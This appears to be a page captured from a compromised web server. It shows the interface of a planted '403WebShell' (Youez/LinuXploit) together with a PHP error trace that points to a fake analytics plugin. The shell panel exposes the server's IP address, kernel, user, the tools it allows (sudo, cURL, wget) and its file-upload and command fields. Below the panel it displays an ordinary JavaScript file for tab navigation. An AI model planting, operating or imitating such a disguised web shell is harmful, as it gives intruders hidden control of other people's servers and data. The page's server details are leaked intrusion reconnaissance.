Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/patientapps_support/modules/tabs/static/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/patientapps_support/modules/tabs/static/tabs.js
var tabs_firsttime = false;
var tabs_click = false;

Handlebars.registerHelper('tabs', function(hookname, tabauth, options) {
	var fragment = window.location.hash.substr(1);
	var tabheader = '';
	var tabbody = '';
	var tabcount = typeof window.activepage._tab == 'undefined' || window.activepage._tab === null ? 0 : window.activepage._tab.length;
	for(var i = 0; i < tabcount; i++) {
		var tab = window.activepage._tab[i],
			current_body = '',
			tab_name = tab.name;
		tab.id = hookname + '-' + i;
		tab.index = i;
		if (typeof tab.icon != 'undefined') tab_name = tab.icon + ' ' + tab_name;
		tabheader += `<li data-fragment="${tab.fragment}" data-auth="${tabauth}"><a href="#${tab.fragment}">${tab_name}</a></li>`;
		if (typeof tab.data != 'undefined') {
			var source   = $('#' + tab.data.template).html();
			if (typeof source == 'undefined') {
				console.log('unable to locate template #' + tab.data.template);
                current_body = '';
			} else {
                var template = Handlebars.compile(source);
                current_body = template(tab.data);
            }
		}
		tabbody += `<div id="${tab.fragment}">${current_body}</div>`;
	}
	tabs_firsttime = true;
	var container = `<div class="component-tabs"><ul>${tabheader}</ul>${tabbody}</div>`;
	return new Handlebars.SafeString(container);
});

function locateByFragment(fragment) {
	if (typeof window.activepage != 'undefined' && typeof window.activepage._tab != 'undefined' && window.activepage._tab !== null ) {
		
		for(var i = 0; i < window.activepage._tab.length; i++) {
			var tab = window.activepage._tab[i]
			if (tab.fragment == fragment) return tab;
		}
	}
	return null;
}

// only when clicking on a tab, not for going back/forward
function pushTabURL(fragment) {
	var url = window.location.href;
	var p = url.indexOf('#');
	if (p > -1) url = url.substring(0, p);
	history.pushState({tabFragment: fragment}, null, url + '#' + fragment);
}

$(window).on('popstate', function(e) {
	if (typeof e.originalEvent.state == 'object') {
		var state = e.originalEvent.state;
		if (state !== null && typeof state.tabFragment != 'undefined') {
			e.preventDefault();
			var tab = locateByFragment(state.tabFragment);
			if (tab !== null) {
				var index = tab.index;
				$('.component-tabs').tabs('option', 'active', index);
			}
		}
	}
});

function displayTabContent(newTab, newPanel) {
	var fragment = newTab.data('fragment');
	var tabauth = newTab.data('auth');
	var tab = locateByFragment(fragment);
    if (tab === null) return;
	if (tabs_click) pushTabURL(tab.fragment);
	tabs_click = false;
	if (typeof tab.data == 'undefined') {
		$.ajax({
			dataType: 'json',
			async: true,
			url: '/~/tabs/select/' + tabauth + '/' + tab.fragment,
			data: {url: window.location.href},
			type: 'GET'
		}).done(function(data) {
			tab.data = data;
			var source   = $('#' + tab.data.template).html();
			var template = Handlebars.compile(source);
			newPanel.html(template(tab.data));
			$(document).triggerHandler('loaded.template', data);
		});
	}
	
}

$(document).on('loaded.template', function(e, data) {
	var tab;
	$('.component-tabs').tabs({
		beforeActivate: function( event, ui ) {
			displayTabContent(ui.newTab, ui.newPanel);
		}
	});
	$('div.ui-tabs li.ui-tab a').on('mousedown', function(e) {
		var $tab = $(this).closest('li');
		if (!$tab.hasClass('ui-state-active')) {
			tabs_click = true;
		}
	});
	var hash = window.location.hash.substring(1);
	if (tabs_firsttime && hash != '') {
		tab = locateByFragment(hash);
		if (tab !== null) {
			var index = tab.index;
			$('.component-tabs').tabs('option', 'active', index);
			var newTab = $('li[data-fragment="' + hash + '"]');
			var newPanel = $('#' + hash);
			displayTabContent(newTab, newPanel)
		}
	}
}).on('page.refresh', function(e, data) {
	if (typeof data.active_tab != 'undefined') {
		var hash = data.active_tab;
		var tab = locateByFragment(hash);
		delete tab.data;
		var index = tab.index;
		$('.component-tabs').tabs('option', 'active', index);
		var newTab = $('li[data-fragment="' + hash + '"]');
		var newPanel = $('#' + hash);
		displayTabContent(newTab, newPanel)
	}
});

Youez - 2016 - github.com/yon3zu
LinuXploit